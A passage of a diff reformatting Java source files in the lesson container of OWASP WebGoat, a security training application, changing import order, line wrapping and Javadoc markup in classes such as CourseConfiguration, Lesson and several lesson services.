-                new Assignment(
-                    e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
                 .toList();
     }
 
@@ -85,11 +83,8 @@ public class CourseConfiguration {
                 }
             }
         }
-    throw new IllegalStateException(
+        throw new IllegalStateException("Assignment endpoint: " + e + " has no mapping like @GetMapping/@PostMapping etc," +
-        "Assignment endpoint: "
+                "with return type 'AttackResult' or 'ResponseEntity<AttackResult>' please consider adding one");
-            + e
-            + " has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or"
-            + " 'ResponseEntity<AttackResult>' please consider adding one");
     }
 
     private boolean methodReturnTypeIsOfTypeAttackResult(Method m) {
@@ -98,34 +93,22 @@ public class CourseConfiguration {
         }
         var genericType = m.getGenericReturnType();
         if (genericType instanceof ParameterizedType) {
-      return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0]
+            return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0] == AttackResult.class;
-          == AttackResult.class;
         }
         return false;
     }
 
     private String getMapping(Method m) {
         String[] paths = null;
-    // Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are
+        //Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are valid, we need to consider both
-    // valid, we need to consider both
         if (m.getAnnotation(RequestMapping.class) != null) {
-      paths =
+            paths = ArrayUtils.addAll(m.getAnnotation(RequestMapping.class).value(), m.getAnnotation(RequestMapping.class).path());
-          ArrayUtils.addAll(
-              m.getAnnotation(RequestMapping.class).value(),
-              m.getAnnotation(RequestMapping.class).path());
         } else if (m.getAnnotation(PostMapping.class) != null) {
-      paths =
+            paths = ArrayUtils.addAll(m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path());
-          ArrayUtils.addAll(
-              m.getAnnotation(PostMapping.class).value(),
-              m.getAnnotation(PostMapping.class).path());
         } else if (m.getAnnotation(GetMapping.class) != null) {
-      paths =
+            paths = ArrayUtils.addAll(m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
-          ArrayUtils.addAll(
-              m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
         } else if (m.getAnnotation(PutMapping.class) != null) {
-      paths =
+            paths = ArrayUtils.addAll(m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
-          ArrayUtils.addAll(
-              m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
         }
         if (paths == null) {
             return null;

src/main/java/org/owasp/webgoat/container/lessons/Hint.java

@@ -30,7 +30,7 @@ package org.owasp.webgoat.container.lessons;
 import lombok.Value;
 
 /**
- * Hint class.
+ * <p>Hint class.</p>
  *
  * @author rlawson
  * @version $Id: $Id

src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java

@@ -3,8 +3,8 @@ package org.owasp.webgoat.container.lessons;
 import org.owasp.webgoat.container.users.WebGoatUser;
 
 /**
- * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and
+ * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and when a users
- * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
+ * reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
  */
 public interface Initializeable {
 

src/main/java/org/owasp/webgoat/container/lessons/Lesson.java

@@ -22,10 +22,11 @@
 
 package org.owasp.webgoat.container.lessons;
 
-import java.util.List;
 import lombok.Getter;
 import lombok.Setter;
 
+import java.util.List;
+
 @Getter
 @Setter
 public abstract class Lesson {
@@ -34,13 +35,16 @@ public abstract class Lesson {
     private Integer id = null;
     private List<Assignment> assignments;
 
-  /** Constructor for the Lesson object */
+    /**
+     * Constructor for the Lesson object
+     */
     protected Lesson() {
         id = ++count;
     }
 
+
     /**
-   * getName.
+     * <p>getName.</p>
      *
      * @return a {@link java.lang.String} object.
      */
@@ -59,7 +63,7 @@ public abstract class Lesson {
     }
 
     /**
-   * getDefaultCategory.
+     * <p>getDefaultCategory.</p>
      *
      * @return a {@link org.owasp.webgoat.container.lessons.Category} object.
      */
@@ -73,15 +77,15 @@ public abstract class Lesson {
     public abstract String getTitle();
 
     /**
-   * Returns the default "path" portion of a lesson's URL.
+     * <p>Returns the default "path" portion of a lesson's URL.</p>
-   *
      * <p>
-   *
+     * <p>
-   * <p>Legacy webgoat lesson links are of the form "attack?Screen=Xmenu=Ystage=Z". This method
+     * Legacy webgoat lesson links are of the form
-   * returns the path portion of the url, i.e., "attack" in the string above.
+     * "attack?Screen=Xmenu=Ystage=Z". This method returns the path portion of
-   *
+     * the url, i.e., "attack" in the string above.
-   * <p>Newer, Spring-Controller-based classes will override this method to return "*.do"-styled
+     * <p>
-   * paths.
+     * Newer, Spring-Controller-based classes will override this method to
+     * return "*.do"-styled paths.
      *
      * @return a {@link java.lang.String} object.
      */
@@ -91,11 +95,13 @@ public abstract class Lesson {
 
     /**
      * Get the link that can be used to request this screen.
-   *
+     * <p>
-   * <p>Rendering the link in the browser may result in Javascript sending additional requests to
+     * Rendering the link in the browser may result in Javascript sending
-   * perform necessary actions or to obtain data relevant to the lesson or the element of the lesson
+     * additional requests to perform necessary actions or to obtain data
-   * selected by the user. Thanks to using the hash mark "#" and Javascript handling the clicks, the
+     * relevant to the lesson or the element of the lesson selected by the
-   * user will experience less waiting as the pages do not have to reload entirely.
+     * user.  Thanks to using the hash mark "#" and Javascript handling the
+     * clicks, the user will experience less waiting as the pages do not have
+     * to reload entirely.
      *
      * @return a {@link java.lang.String} object.
      */
@@ -118,7 +124,13 @@ public abstract class Lesson {
 
     public final String getPackage() {
         var packageName = this.getClass().getPackageName();
-    // package name is the direct package name below lessons (any subpackage will be removed)
+        //package name is the direct package name below lessons (any subpackage will be removed)
         return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", "");
+
+
+
     }
+
+
+
 }

src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java

@@ -1,16 +1,17 @@
 package org.owasp.webgoat.container.lessons;
 
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.security.core.context.SecurityContextHolder;
+
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.sql.Connection;
-import lombok.extern.slf4j.Slf4j;
-import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.security.core.context.SecurityContextHolder;
 
 /**
- * Handler which sets the correct schema for the currently bounded user. This way users are not
+ * Handler which sets the correct schema for the currently bounded user. This way users are not seeing each other
- * seeing each other data and we can reset data for just one particular user.
+ * data and we can reset data for just one particular user.
  */
 @Slf4j
 public class LessonConnectionInvocationHandler implements InvocationHandler {

src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java

@@ -4,7 +4,7 @@ import lombok.AllArgsConstructor;
 import lombok.Getter;
 
 /**
- * LessonInfoModel class.
+ * <p>LessonInfoModel class.</p>
  *
  * @author dm
  * @version $Id: $Id
@@ -17,4 +17,5 @@ public class LessonInfoModel {
     private boolean hasSource;
     private boolean hasSolution;
     private boolean hasPlan;
+
 }

src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java

@@ -1,37 +1,39 @@
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
- * for free software projects.
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
+
 package org.owasp.webgoat.container.lessons;
 
 import java.util.ArrayList;
 import java.util.List;
 
 /**
- * LessonMenuItem class.
+ * <p>LessonMenuItem class.</p>
  *
  * @author rlawson
  * @version $Id: $Id
@@ -46,7 +48,7 @@ public class LessonMenuItem {
     private int ranking;
 
     /**
-   * Getter for the field <code>name</code>.
+     * <p>Getter for the field <code>name</code>.</p>
      *
      * @return the name
      */
@@ -55,7 +57,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Setter for the field <code>name</code>.
+     * <p>Setter for the field <code>name</code>.</p>
      *
      * @param name the name to set
      */
@@ -64,7 +66,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Getter for the field <code>children</code>.
+     * <p>Getter for the field <code>children</code>.</p>
      *
      * @return the children
      */
@@ -73,7 +75,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Setter for the field <code>children</code>.
+     * <p>Setter for the field <code>children</code>.</p>
      *
      * @param children the children to set
      */
@@ -82,7 +84,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Getter for the field <code>type</code>.
+     * <p>Getter for the field <code>type</code>.</p>
      *
      * @return the type
      */
@@ -91,7 +93,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Setter for the field <code>type</code>.
+     * <p>Setter for the field <code>type</code>.</p>
      *
      * @param type the type to set
      */
@@ -100,7 +102,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * addChild.
+     * <p>addChild.</p>
      *
      * @param child a {@link LessonMenuItem} object.
      */
@@ -117,7 +119,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * isComplete.
+     * <p>isComplete.</p>
      *
      * @return the complete
      */
@@ -126,7 +128,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Setter for the field <code>complete</code>.
+     * <p>Setter for the field <code>complete</code>.</p>
      *
      * @param complete the complete to set
      */
@@ -135,7 +137,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Getter for the field <code>link</code>.
+     * <p>Getter for the field <code>link</code>.</p>
      *
      * @return the link
      */
@@ -144,7 +146,7 @@ public class LessonMenuItem {
     }
 
     /**
-   * Setter for the field <code>link</code>.
+     * <p>Setter for the field <code>link</code>.</p>
      *
      * @param link the link to set
      */
@@ -159,4 +161,6 @@ public class LessonMenuItem {
     public int getRanking() {
         return this.ranking;
     }
+
+
 }

src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java

@@ -28,7 +28,7 @@
 package org.owasp.webgoat.container.lessons;
 
 /**
- * LessonMenuItemType class.
+ * <p>LessonMenuItemType class.</p>
  *
  * @author rlawson
  * @version $Id: $Id

src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java

@@ -1,14 +1,17 @@
 package org.owasp.webgoat.container.lessons;
 
+import lombok.Getter;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.stereotype.Component;
+
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.regex.Pattern;
-import lombok.Getter;
-import lombok.extern.slf4j.Slf4j;
-import org.springframework.core.io.support.ResourcePatternResolver;
-import org.springframework.stereotype.Component;
 
 @Component
 @Slf4j
@@ -16,14 +19,14 @@ public class LessonScanner {
 
     private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
 
-  @Getter private final Set<String> lessons = new HashSet<>();
+    @Getter
+    private final Set<String> lessons = new HashSet<>();
 
     public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
         try {
             var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
             for (var resource : resources) {
-        // WG can run as a fat jar or as directly from file system we need to support both so use
+                //WG can run as a fat jar or as directly from file system we need to support both so use the URL
-        // the URL
                 var url = resource.getURL();
                 var matcher = lessonPattern.matcher(url.toString());
                 if (matcher.matches()) {
@@ -34,6 +37,7 @@ public class LessonScanner {
         } catch (IOException e) {
             log.warn("No lessons found...");
         }
+
     }
 
     public List<String> applyPattern(String pattern) {

src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java

@@ -15,4 +15,5 @@ public class EnvironmentService {
     public String homeDirectory() {
         return context.getEnvironment().getProperty("webgoat.server.directory");
     }
+
 }

src/main/java/org/owasp/webgoat/container/service/HintService.java

@@ -6,8 +6,6 @@
 
 package org.owasp.webgoat.container.service;
 
-import java.util.Collection;
-import java.util.List;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Hint;
 import org.owasp.webgoat.container.lessons.Lesson;
@@ -16,8 +14,11 @@ import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
+import java.util.Collection;
+import java.util.List;
+
 /**
- * HintService class.
+ * <p>HintService class.</p>
  *
  * @author rlawson
  * @version $Id: $Id
@@ -46,7 +47,10 @@ public class HintService {
 
     private List<Hint> createAssignmentHints(Lesson l) {
         if (l != null) {
-      return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList();
+            return l.getAssignments().stream()
+                    .map(this::createHint)
+                    .flatMap(Collection::stream)
+                    .toList();
         }
         return List.of();
     }

src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java

@@ -1,33 +1,34 @@
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
- * for free software projects.
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
+
 package org.owasp.webgoat.container.service;
 
-import java.util.Map;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.session.LabelDebugger;
@@ -39,8 +40,10 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 
+import java.util.Map;
+
 /**
- * LabelDebugService class.
+ * <p>LabelDebugService class.</p>
  *
  * @author nbaars
  * @version $Id: $Id
@@ -62,7 +65,8 @@ public class LabelDebugService {
      * @return a {@link org.springframework.http.ResponseEntity} object.
      */
     @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
-  public @ResponseBody ResponseEntity<Map<String, Object>> checkDebuggingStatus() {
+    public @ResponseBody
+    ResponseEntity<Map<String, Object>> checkDebuggingStatus() {
         log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled());
         Map<String, Object> result = createResponse(labelDebugger.isEnabled());
         return new ResponseEntity<>(result, HttpStatus.OK);
@@ -74,12 +78,9 @@ public class LabelDebugService {
      * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
      * @return a {@link org.springframework.http.ResponseEntity} object.
      */
-  @RequestMapping(
+    @RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
-      value = URL_DEBUG_LABELS_MVC,
+    public @ResponseBody
-      produces = MediaType.APPLICATION_JSON_VALUE,
+    ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) {
-      params = KEY_ENABLED)
-  public @ResponseBody ResponseEntity<Map<String, Object>> setDebuggingStatus(
-      @RequestParam("enabled") Boolean enabled) {
         log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
         Map<String, Object> result = createResponse(enabled);
         labelDebugger.setEnabled(enabled);

src/main/java/org/owasp/webgoat/container/service/LabelService.java

@@ -1,33 +1,34 @@
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
  * for free software projects.
  */
+
 package org.owasp.webgoat.container.service;
 
-import java.util.Properties;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.i18n.Messages;
@@ -39,8 +40,11 @@ import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
+import java.util.Properties;
+
+
 /**
- * LabelService class.
+ * <p>LabelService class.</p>
  *
  * @author zupzup
  */

src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java

@@ -8,8 +8,9 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
+
 /**
- * LessonInfoService class.
+ * <p>LessonInfoService class.</p>
  *
  * @author dm
  * @version $Id: $Id
@@ -21,13 +22,15 @@ public class LessonInfoService {
     private final WebSession webSession;
 
     /**
-   * getLessonInfo.
+     * <p>getLessonInfo.</p>
      *
      * @return a {@link LessonInfoModel} object.
      */
     @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json")
-  public @ResponseBody LessonInfoModel getLessonInfo() {
+    public @ResponseBody
+    LessonInfoModel getLessonInfo() {
         Lesson lesson = webSession.getCurrentLesson();
         return new LessonInfoModel(lesson.getTitle(), false, false, false);
     }
+
 }

src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java

@@ -1,36 +1,34 @@
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
- * for free software projects.
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
+
 package org.owasp.webgoat.container.service;
 
-import java.util.ArrayList;
-import java.util.Comparator;
-import java.util.List;
-import java.util.Map;
 import lombok.AllArgsConstructor;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Category;
@@ -47,8 +45,13 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+
 /**
- * LessonMenuService class.
+ * <p>LessonMenuService class.</p>
  *
  * @author rlawson
  * @version $Id: $Id
@@ -74,7 +77,9 @@ public class LessonMenuService {
      * @return a {@link java.util.List} object.
      */
     @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json")
-  public @ResponseBody List<LessonMenuItem> showLeftNav() {
+    public
+    @ResponseBody
+    List<LessonMenuItem> showLeftNav() {
         List<LessonMenuItem> menu = new ArrayList<>();
         List<Category> categories = course.getCategories();
         UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
@@ -106,6 +111,7 @@ public class LessonMenuService {
             menu.add(categoryItem);
         }
         return menu;
+
     }
 
     private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
@@ -118,6 +124,7 @@ public class LessonMenuService {
                     break;
                 }
             }
+
         }
         return result;
     }

src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java

@@ -1,6 +1,5 @@
 package org.owasp.webgoat.container.service;
 
-import java.util.List;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import lombok.RequiredArgsConstructor;
@@ -11,8 +10,11 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
+import java.util.List;
+
+
 /**
- * LessonProgressService class.
+ * <p>LessonProgressService class.</p>
  *
  * @author webgoat
  */
@@ -24,8 +26,8 @@ public class LessonProgressService {
     private final WebSession webSession;
 
     /**
-   * Endpoint for fetching the complete lesson overview which informs the user about whether all the
+     * Endpoint for fetching the complete lesson overview which informs the user about whether all the assignments are solved.
-   * assignments are solved. Used as the last page of the lesson to generate a lesson overview.
+     * Used as the last page of the lesson to generate a lesson overview.
      *
      * @return list of assignments
      */
@@ -46,12 +48,12 @@ public class LessonProgressService {
 
     @AllArgsConstructor
     @Getter
-  // Jackson does not really like returning a map of <Assignment, Boolean> directly, see
+    //Jackson does not really like returning a map of <Assignment, Boolean> directly, see http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json
-  // http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json
+    //so creating intermediate object is the easiest solution
-  // so creating intermediate object is the easiest solution
     private static class LessonOverview {
 
         private Assignment assignment;
         private Boolean solved;
+
     }
 }

src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java

@@ -6,8 +6,9 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
+
 /**
- * LessonTitleService class.
+ * <p>LessonTitleService class.</p>
  *
  * @author dm
  * @version $Id: $Id
@@ -27,8 +28,11 @@ public class LessonTitleService {
      * @return a {@link java.lang.String} object.
      */
     @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html")
-  public @ResponseBody String showPlan() {
+    public
+    @ResponseBody
+    String showPlan() {
         Lesson lesson = webSession.getCurrentLesson();
         return lesson != null ? lesson.getTitle() : "";
     }
+
 }

src/main/java/org/owasp/webgoat/container/service/ReportCardService.java

@@ -1,34 +1,34 @@
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
- * for free software projects.
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
+
 package org.owasp.webgoat.container.service;
 
-import java.util.ArrayList;
-import java.util.List;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import lombok.Setter;
@@ -43,8 +43,11 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
+import java.util.ArrayList;
+import java.util.List;
+
 /**
- * ReportCardService
+ * <p>ReportCardService</p>
  *
  * @author nbaars
  * @version $Id: $Id
@@ -59,8 +62,7 @@ public class ReportCardService {
     private final PluginMessages pluginMessages;
 
     /**
-   * Endpoint which generates the report card for the current use to show the stats on the solved
+     * Endpoint which generates the report card for the current use to show the stats on the solved lessons
-   * lessons
      */
     @GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
     @ResponseBody

src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java

@@ -24,8 +24,6 @@
 
 package org.owasp.webgoat.container.service;
 
-import java.util.List;
-import java.util.function.Function;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
@@ -39,6 +37,9 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
